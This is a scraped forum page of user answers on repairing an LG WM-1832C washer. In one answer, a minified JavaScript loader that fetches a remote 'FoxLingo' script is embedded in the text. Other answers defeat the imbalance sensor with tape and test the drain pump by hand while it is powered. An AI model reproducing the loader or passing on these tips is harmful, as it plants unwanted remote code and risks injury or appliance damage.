LG WM-1832C Front Load Washer - Page 2 - Answered Questions & Fixed issues

I regularly clean my filter of slime and debris (after not even realizing this needed to be done and having my pump give out of me). TWICE I have awoken to a flooded basement due to leaks in the filter area: The first time, the plastic stopper was not in the small rubber drain hose properly and had popped off. The second time, I had cleaned the gasket, inserted it tightly like I always do, and awoke to another flood! I thought perhaps the rubber gasket on the filter was on wrong, but it was fine. I inserted it tightly several times and water still poured out! It turns out there was a small stone lodged in the thread of the receiving end of the filter causing there to be a bad seal. Lesson learned. Another $2000.00 worth of flooring ruined.

Dilute the soap with a little bit of hot water and see if that helps.

I have this same problem. What I do is carefully clean the part of the glass door where it meets the rubber gasket when you close the door. Bits of crud tend to accumulate there and break the seal between the smooth glass and the rubber gasket. This causes small amounts of water to leak out.

I don't use an abrasive cleanser. I generally clean it when it is dry and crusty with my hand or with my fingernails if it stubborn. You don't want to scratch the smooth glass surface. fingernails are much softer than glass and won't scratch the glass.

I also take a look at the rubber gasket and see if there is any crud sticking on that and very gently clean it off when it is dry and crusty. If the gasket gets torn, you'll probably need to replace it. I don't know how much that would cost. This should stop the dribbles.

Cheers,

Take a look at this page.

LE error is a locked rotor you need to have your hall sensor on the stator or better yet just have the whole stator replaced which comes with the sensor on it (P.S. the stator is part of the motor and has a 5 year warranty)

yes but I will not good IDEA you will have phenomen transistory is electrical term in engineeering electric, you must get support via ONLINE chat or phone with LG. you must transform the 60hz to 50hz or 50hz TO 60hz.God bless you

This error indicates that the Motor Is Locked. This would usually be caused by one of the following:The white 3 pin male connector in the Motor Wiring Harness has become disconnected from the white female 3 pin connector in the Stator Assembly.The white 3 pin male connector in the Motor Wiring Harness and white 4 pin female connector in the Main PWB Assembly is bad or unstable.The Motor Harness between the Stator Assembly and the Main PWB Assembly is defective, open circuit, cut or damaged in some other way.The Hall sensor is defective and needs replacing.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

i do not know about this lg front load but one thing is common about them.please inspect if the wash mode fills the water to it normal level. if it exceeds the level then take the plug out remove the back cover lid and you will notice that a black colour pipe usually connected to the drum goes to the horn type unit which is a switch. check the pipe id there is any leakage. the best way is to release from the drum side clean the tip and try to blow air from your mouth if the air leaks then put some rubber glue on the leaks let it dry and then check if the leak is removed.this is actually the master brain for the machine to detect the water which in turn makes the machine move since if there is water in the drum it will not spin.if this does not help then probably the timer is defective through which you set the cycle.please also check the water supply pipe that connects to your machine it has a filter which might be clogged. clean and try again.hope this has been useful

I had the same problem and it was a bad sensor assembly (#6501KW2002A). You can order
it from an online electronics store (www.mcminone.com). Cost is approx. $20.

I fixed it based on a thread from 2007:
See http://www.fixya.com/support/t159708-lg_washer_wm1832c

But, here's what I did:
1. Unplug the machine.
2. Take off the back plate that has 4 small screws.
3. Unscrew the big bolt in the middle.
4. Take off the hubcap looking part the bolt was securing.
5. Unclip the two sets of wires on the bottom of the circle you are looking at
(the set of wires to the right are connected to the sensor assembly you want to replace).
6. Unscrew the 6 smaller bolts to take off the circular piece that the sensor assembly is snapped to.
7. Mark with a pen where the sensor attaches so you know where to snap the new one.
8. Unclip the old sensor assembly and clip on the new one
9. Reassemble.

Check the drain hose, if you washed something small like a childs sock it could get stuck where the hose connects to the washer.Another problem could be that your drain hose is too long and it is clogging up at the elbow of your drain line, if so cut of a few inches at a time and try to drain washer again

Sounds like broken bearing .....if so expensive repair

Hi

If the washer won't fill you'll need to check for the water inlet hose, the water inlet valve and the pressure/water level switch assembly. Inspect the inlet hose coming to the washer for any blockages. If the hose is not clogged then check the water inlet valve for any clogs, if the water will not even fill for few seconds then certainly the water inlet valve is bad and should be replaced. You can also use a multimeter to check continuity on inlet valve. If you don't get any value on the multimeter then you'll need to replace the water inlet valve assembly. However, if the valve is fine then the pressure/water level switch assembly should be replaced, there is no special sensor that can go bad. Hope this helps... Please post back if you need more information.

Hi from retired Englishman in SW France,
(possibly 'Drain Fault' so no promises but try this first! It could, however, be a Door Fault)

I would gently suggest as a first step that you clean the drain motor/pump lint tray/filter. So many 'faults' are caused by blocked filters and many machines will not even go to rinse or spin or release the door lock if there is any water still left inside.
Following are my complete and hopefully 'coverall' pre-typed guidance notes for checking both the drain motor filter and the drain motor ;-0)
REMOVE POWER AND ENSURE YOU HAVE A WATER RECEPTACLE/RAGS TO SOAK UP THE WATER WHICH IS BOUND TO POUR OUT (alternatively use a wet vac as sensibly suggested by VinnyB1234!)
If you are unsure where the filter is, it is often behind the front lower (kick) panel (or in some machines at the rear in an awkward position!). These panels are either held on by (plasic) screws or will just pull off. Most filters are held in by a round cover/knob. Sometimes the filter will not come out with the cover and you will have to persuade it to come out to play.
It's surprising what people have found in theirs! It is always worthwhile checking it on a regular basis.
Now- whilst the filter is removed it is normally possible to see the drain motor and ensure it is not jammed by a foreign object such as a needle or a toothpick. It should be able to be turned by hand/finger- the power IS OFF!
At this point it is also possible to test if the motor works. No clothes or water in the machine, select a spin cycle and put the power back on. You should be able to see the motor turning at some point, possibly straight away. Using something suitable like a glove see if it is easy to briefly slow the motor down. If it is easy then the motor is malfunctioning.

If this has assisted you please consider a 4 thumbs up for the rating.
Thanks and good luck!

Usually this is from a hose or the pump. Easiest way of doing this. Make sure you have towels for the water. Remove access panel and start a load. The water can be coming from the Door gasket which leads from door to basket, bellow which leads from tub to pump. drain hose which leads from pump to house drain. See where it is coming from and let me know I will tell you how to fix this and where to get parts. If you have any questions please feel free to comment.

bad imbalance sensor. silly little contraption that sticks off the back of the drum. It is a plastic lever with a light sensor attached to the end. there is a hole and a bb that sits in the hole. when the load gets imbalanced, the bb gets knocked out of the hole and the light shines through the hole. the light sensor relays the error to the computer and it displays UE. I took the sensor apart, and put a piece of tape over the hole so the light cant shine through anymore. No more UE code. LG parts are very hard to find. I dont mess with them, but it was my neighbors machine. This will get them by until they can buy a new washer. good luck.

Hi from retired Englishman in SW France,
Bad odours could be coming from a couple of places.

1. the fact that there is 'foul' water being left in the drum or
2. the plumbing u-bend.

I would suggest checking the plumbing u-bend for trouble first, then following the notes on checking and cleaning the drain filter and the drain pump to ensure there is nothing 'obnoxious' hanging around the two of them!
You could also run the contents of a proprietary washer cleaner/ de-scaler through the system- if only to clean the heater element.

An OE error code means that the washer is not draining properly. Pull the filter out at the bottom left corner to make sure that the filter is not plugged with debris. Read your manual before pulling the filter out so you don't flood your room.
Good luck.

you have either a hall senser /stator/or main board/problem.... may even be a voltage issue. check your recepticle see if its good. easy first check plug to see if its been arking on the plungs
